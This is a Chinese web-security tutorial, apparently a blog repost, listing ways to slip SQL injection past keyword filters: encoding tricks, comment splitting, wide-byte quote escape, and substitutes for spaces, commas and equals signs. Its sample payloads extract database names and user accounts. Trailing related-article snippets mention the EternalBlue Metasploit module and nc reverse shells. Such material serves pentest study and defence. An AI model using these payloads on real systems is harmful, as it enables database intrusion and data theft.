当前位置: 首页 > news >正文

【Web安全】sql注入绕过技法

sql注入绕过技法

1. 注释符号绕过

原理:SQL注释符号(如--, /* */)可以用来忽略查询的一部分,特别是在注入点之后的部分。这对于绕过需要闭合的查询或移除查询余下部分的情况特别有用。

-- 注释内容
# 注释内容
/*注释内容*/
;

2. 内联注释绕过

原理:在SQL关键词中插入内联注释(如/**/),可以改变关键词的外观,绕过基于文本匹配的过滤器。

SEL/**/ECT。在SELECT中间加入内联注释,可能绕过对SELECT关键词的检查

3. 大小写绕过

原理:SQL是不区分大小写的,所以可以混合使用大小写字母来绕过对特定关键字(如SELECT, FROM)的过滤。

select 换成 SeleCT

4. 双写绕过

过滤器可能尝试移除某些关键字,利用重复的关键字可能绕过对于它们的单次出现

selselecctect
oOrr

5. 编码绕过

  • URL全编码

对关键字进行两次url全编码:

1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2 
  • ASCII绕过

使用ASCII码表示字符,这样可以绕过对普通字符集的过滤。

使用CHAR(65)代替A,在某些情况下可以绕过对直接字符A的过滤。
  • 十六进制绕过

使用十六进制值来表示字符串,可以绕过对普通字符串的过滤。

使用0x414243代替字符串'ABC'。
  • Unicode编码绕过

使用Unicode编码来替代字符,以绕过对特定字符或字符串的过滤。

使用\u0041代替A。

6. 大于小于号绕过

在进行sql盲注的时候一般使用大于小于号来判断ascii的大小

  • greatest(n1,n2,n3…)和least(n1,n2,n3…)返回最大值和最小值
...where id=1 and greatest(ascii(substr(database(),1,1)),1)=99;
  • in关键字
where id=1 and substr(database(),1,1) in ('c');
  • between a and b(不包含b)
where id=1 and substr(database(),1,1) between 'a' and 'd';

7. 空格绕过

如果空格被过滤,可以使用其他字符或编码来代替空格,如注释、制表符等

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

8. 逻辑运算符绕过

OR、AND、XOR、NOT被过滤的话,可以采取以下方法:

or = ||
and = &&
xor = | 或者 ^
not = !

9. 等号绕过

如果等号=被过滤,可以尝试使用其他的操作符或逻辑来达成类似的效果。

1.假如要=1,那我们可以>0 and <2
2.<>等价于!=,所以在前面再加一个!,Select * from cms_users where !(username <> "admin");
3.like, username = 'admin'
4.username LIKE 'a%'。这将匹配任何以'a'开头的用户名
5.MySQL中使用 REGEXP 操作符来进行正则表达式匹配,Select * from cms_users where username REGEXP "admin";

10. 单引号绕过

1.where table_name="users" 换成 where table_name=0x7573657273
2.宽字节,用%df吃掉\,id=-1%df%27union select 1,user(),3--+
3.可能产生二次注入

11. 逗号绕过

我们可能会使用substr(),substring(),mid()等函数,里面会有逗号

  • 对于substr()和mid()这两个方法可以使用from for 的方式来解决
 select substr(database() from 1 for 1)='c';
  • join关键字
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
  • like关键字
select ascii(mid(user(),1,1))=80
select user() like 'r%'

12. 关键函数绕过

1.sleep() -->benchmark() 指定次数表达式,造成延迟
2.使用 HEX('A') 或 BIN('A') 替代 ASCII('A')。
3.SELECT group_concat('str1','str2');->SELECT concat_ws(',', 'str1', 'str2');
4.使用SELECT @@user; 替代SELECT user();
5.ord()->ascii()
6.SELECT IF(substr(database(),1,1)='c',1,0);->SELECT IFNULL(substr(database(),1,1)='c',0); 或 SELECT CASE substr(database(),1,1)='c' WHEN 1 THEN 1 ELSE 0 END;

以上就是目前常见的绕过方法,本节参考文章,这篇文章后面写的很详细值得研究

相关文章:

【Web安全】sql注入绕过技法

sql注入绕过技法 1. 注释符号绕过 原理&#xff1a;SQL注释符号&#xff08;如--, /* */&#xff09;可以用来忽略查询的一部分&#xff0c;特别是在注入点之后的部分。这对于绕过需要闭合的查询或移除查询余下部分的情况特别有用。 -- 注释内容 # 注释内容 /*注释内容*/ ;2…...

Axios使用方式

ajax是JQUERY封装的XMLHttprequest用来发送http请求 Axios简单点说它就是一个js库,支持ajax请求,发送axios请求功能更加丰富,丰富在哪不知道 1.npm使用方式 vue项目中 npm install axios 2.cdn方式 <script src"https://unpkg.com/axios/dist/axios.min.js">…...

kotlin 内置函数对数组进行各种操作

以下是一些常见的用法示例&#xff1a; plus() 函数将两个数组合并成一个数组。plus() 函数是 Kotlin 标准库中的一个扩展函数&#xff0c;可以用于合并两个同类型的数组。 fun main() {val array1 arrayOf(1, 2, 3)val array2 arrayOf(4, 5, 6)val mergedArray array1.plu…...

力扣labuladong——一刷day54

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、力扣1660. 纠正二叉树二、力扣100. 相同的树三、力扣572. 另一棵树的子树四、力扣101. 对称二叉树 前言 判断树是否相等&#xff0c;就直接遍历就可以。判断…...

3、MSF使用

文章目录 一、利用ms17-010漏洞对靶机执行溢出攻击二、后渗透模块meterpreter的使用 一、利用ms17-010漏洞对靶机执行溢出攻击 分别输入以下命令&#xff0c;使用ms17_010_eternalblue模块对目标机的ms17-010漏洞进行利用&#xff1a; use exploit/windows/smb/ms17_010_eter…...

34970A 数据采集 / 数据记录仪开关单元

34970A 数据采集 / 数据记录仪开关单元 产品综述&#xff1a; Keysight 34970A 数据采集/数据记录仪开关单元由一个 3 插槽主机和一个内置的 6 1/2 位数字万用表组成。每个通道可以单独配置&#xff0c;以测量 11 种不同功能之一&#xff0c;这样既不会增加成本&#xff0c;也…...

BUUCTF刷题之路-web-[GXYCTF2019]Ping Ping Ping1

启动环境后&#xff0c;是一个简简单单的页面&#xff1a; 看样子是能够触发远程执行漏洞的。尝试下ping 127.0.0.1&#xff0c;如果有回显说明我们的想法是对的。 最近才学习的nc反弹shell。想着是否能用nc反弹shell的办法。控制服务器然后输出flag呢&#xff1f;于是我测试下…...

一、深入简出串口(USRT)通信——基本概念。

一、前言 串口到底是什么&#xff1f;简单来说一句话就可以解释&#xff0c;串口就是一种通信协议。 看到这里可能大家会觉得你这不是放屁么&#xff0c;说了跟没说一样。所以这里做前言来描述&#xff0c;大家要先对通信协议有一个下意识地认识才能在学习串口的时候不至于迷茫…...

采用connector-c++ 8.0操作数据库

1.下载最新的Connector https://dev.mysql.com/downloads/connector/cpp/&#xff0c;下载带debug的库。 解压缩到本地&#xff0c;本次使用的是带debug模式的connector库&#xff1a; 注&#xff1a;其中mysqlcppconn与mysqlcppconn8的区别是&#xff1a; 2.在cmakelist…...

【Java数据结构 -- 时间和空间复杂度】

时间和空间复杂度 1. 算法效率2. 时间复杂度2.1 时间复杂度的概念2.2 大O的渐进表示法2.3 推导大O阶方法2.4 常见时间复杂度计算举例例1例2例3例4 计算 bubbleSort的时间复杂度例5 计算binarySearch的时间复杂度&#xff1f;例6 计算阶乘递归factorial的时间复杂度&#xff1f;…...

【每日一题】1457. 二叉树中的伪回文路径-2023.11.25

题目&#xff1a; 1457. 二叉树中的伪回文路径 给你一棵二叉树&#xff0c;每个节点的值为 1 到 9 。我们称二叉树中的一条路径是 「伪回文」的&#xff0c;当它满足&#xff1a;路径经过的所有节点值的排列中&#xff0c;存在一个回文序列。 请你返回从根到叶子节点的所有路…...

能让PDF看起来像是扫描件的Look Scanned

什么是 Look Scanned ? Look Scanned 是一个能够让 PDF 看起来就像是扫描件一样的纯前端网站。你再也不需要麻烦地打印之后扫描了&#xff0c;你所需要的就是鼠标点几下。 这是个挺有意思的软件&#xff0c;但是老苏不确定什么场景下会用到这个软件&#xff0c;如果不想自己搭…...

RT-DETR 更换损失函数之 SIoU / EIoU / WIoU / Focal_xIoU

文章目录 更换方式CIoUDIoUEIoUGIoUSIoUWIoUFocal_CIoUFocal_DIoUFocal_EIoUFocal_GIoUFocal_SIoU提示更换方式 第一步:将ultralytics/ultralytics/utils/metrics.py文件中的bbox_iou替换为如下的代码:class...

代码随想录算法训练营第四十六天 | 139.单词拆分,多重背包,背包问题总结

目录 139.单词拆分 多重背包 背包问题总结 01背包 完全背包 多重背包 139.单词拆分 题目链接&#xff1a;139. 单词拆分 不要求字典中的单词全部使用&#xff0c;但是要求拆分的单词拆分成的每一个子串都是字典中的单词。 &#xff08;1&#xff09;dp[ i ] 表示前 i 个字符组成…...

opencv-Canny 边缘检测

Canny边缘检测是一种经典的图像边缘检测算法&#xff0c;它在图像中找到强度梯度的变化&#xff0c;从而识别出图像中的边缘。Canny边缘检测的优点包括高灵敏度和低误检率。 在OpenCV中&#xff0c;cv2.Canny() 函数用于执行Canny边缘检测。 基本语法如下&#xff1a; edges…...

案例023:基于微信小程序的童装商城的设计与实现

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;SSM JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder X 小程序…...

Ansible的循环:loop,with_<lookup>和until

环境 管理节点&#xff1a;Ubuntu 22.04控制节点&#xff1a;CentOS 8Ansible&#xff1a;2.15.6 循环的方法 loopwith_<lookup>until 用这几种方式都可以实现循环。其中&#xff0c; loop 是推荐的用法&#xff0c;在很多时候能够替换 with_<lookup> 。 loop…...

点云 surface 方法总结

点云的表面方法是指通过点云数据来估计和重建物体或场景的表面几何形状。下面总结了几种常见的点云表面方法&#xff1a; 三角化&#xff1a;三角化是最常用的点云表面重建方法之一。它将点云中的点连接成三角形网格&#xff0c;从而重建出物体或场景的表面。常见的三角化算法…...

深入探索Linux文件系统:属性、路径与隐藏之谜

&#x1f3a5; 屿小夏 &#xff1a; 个人主页 &#x1f525;个人专栏 &#xff1a; Linux系统理论 &#x1f304; 莫道桑榆晚&#xff0c;为霞尚满天&#xff01; 文章目录 &#x1f4d1;前言&#x1f324;️文件的组成☁️文件属性☁️文件内容☁️注意事项 &#x1f324;️路…...

梯度详解与优化实战

什么是梯度 对所有自变量求偏微分构成的向量&#xff0c;它是一个向量&#xff08;有大小和函数值增长方向&#xff09; 导数是一个标量 找最小值点坐标的案例 import torchimport numpy as np import matplotlib.pyplot as plt def himmelblau(x):return (x[0]**2x[1]-11)…...

从X-Bogus到X-Gnarly:拆解TikTok Web端反爬策略的演进与对抗思路

从X-Bogus到X-Gnarly&#xff1a;TikTok Web端反爬策略的深度解析与应对策略 在当今数据驱动的互联网环境中&#xff0c;Web平台与数据采集者之间的攻防博弈从未停止。作为全球领先的短视频平台&#xff0c;TikTok在保护其数据安全方面投入了大量资源&#xff0c;构建了一套复杂…...

保姆级教程:手把手教你为RTA-OS硬件Counter写那4个要命的回调函数(含避坑指南)

嵌入式工程师实战指南&#xff1a;RTA-OS硬件计数器回调函数开发全解析 在汽车电子控制单元&#xff08;ECU&#xff09;开发中&#xff0c;实时操作系统&#xff08;RTOS&#xff09;的精确时间管理能力直接关系到系统可靠性。作为符合AUTOSAR标准的实时操作系统&#xff0c;R…...

计算机视觉基础模型深度解析:13类算法、85个变种完全指南

计算机视觉基础模型深度解析&#xff1a;13类算法、85个变种完全指南做计算机视觉的兄弟应该知道&#xff0c;标注数据是真tm贵。为了不花这个钱&#xff0c;各路神仙开始用无标注数据、网上爬的图文数据、甚至多模态数据来训练模型。用对比学习、掩码重建这些方法整一个基础模…...

MATLAB小波工具箱GUI实战:5分钟搞定信号降噪与压缩(附真实电压信号案例)

MATLAB小波工具箱GUI实战&#xff1a;5分钟搞定信号降噪与压缩&#xff08;附真实电压信号案例&#xff09; 电力工程师张工最近遇到了一个棘手问题——变电站监测系统采集的电压信号总是掺杂着各种噪声干扰。传统滤波方法要么效果不佳&#xff0c;要么会损失有用信号细节。直到…...

HTML-in-Canvas引爆前端!AI时代互联网视觉效果完全不一样了

一水 发自 凹非寺量子位 | 公众号 QbitAIword天&#xff0c;前端现在都高级成这样了吗&#xff1f;&#xff01;小手轻轻一指&#xff0c;被选中的区域就立马出现了碎片效果&#xff0c;炫酷感一整个扑面而来。渲染真人还不算&#xff0c;设计游戏更是一把好手&#xff0c;同款…...

Qwen3-VL-8B多模态工具亲测:上传图片就能问,本地部署真简单

Qwen3-VL-8B多模态工具亲测&#xff1a;上传图片就能问&#xff0c;本地部署真简单 1. 工具概览&#xff1a;你的私人视觉助手 想象一下&#xff0c;当你看到一张复杂的图表或一张陌生的植物照片时&#xff0c;只需要上传图片并提问&#xff0c;就能立即获得专业级的解释和分…...

探索AI世界:PaddleHub深度学习框架详解

探索AI世界&#xff1a;PaddleHub深度学习框架详解 【免费下载链接】PaddleFormers PaddleFormers is an easy-to-use library of pre-trained large language model zoo based on PaddlePaddle. 项目地址: https://gitcode.com/gh_mirrors/pa/PaddleFormers PaddleHub是…...

DeepChat一文详解:DeepChat如何解决本地大模型‘启动难、维护难、升级难’三大痛点

DeepChat一文详解&#xff1a;DeepChat如何解决本地大模型‘启动难、维护难、升级难’三大痛点 1. 为什么本地大模型让人又爱又恨 如果你尝试过在本地电脑上部署大模型&#xff0c;很可能经历过这样的痛苦&#xff1a;好不容易找到合适的模型&#xff0c;下载安装一堆依赖库&…...

解决zoom缩放下el-dropdown下拉框定位偏移的实战方案

1. 问题现象与成因分析 最近在开发一个后台管理系统时&#xff0c;遇到了一个让人头疼的问题&#xff1a;当页面使用CSS的zoom属性进行缩放时&#xff0c;Element UI的el-dropdown下拉框会出现明显的定位偏移。具体表现为点击下拉按钮后&#xff0c;弹出的菜单位置与预期不符&a…...

模式识别面试官最爱问的8个核心概念:从LDA到聚类,一次讲清底层逻辑与常见误区

模式识别面试官最爱问的8个核心概念&#xff1a;从LDA到聚类&#xff0c;一次讲清底层逻辑与常见误区 在算法工程师的招聘中&#xff0c;模式识别能力往往是区分候选人的关键分水岭。当面试官连续追问"为什么协方差矩阵奇异时需要正则化"或"ReLU如何缓解梯度消…...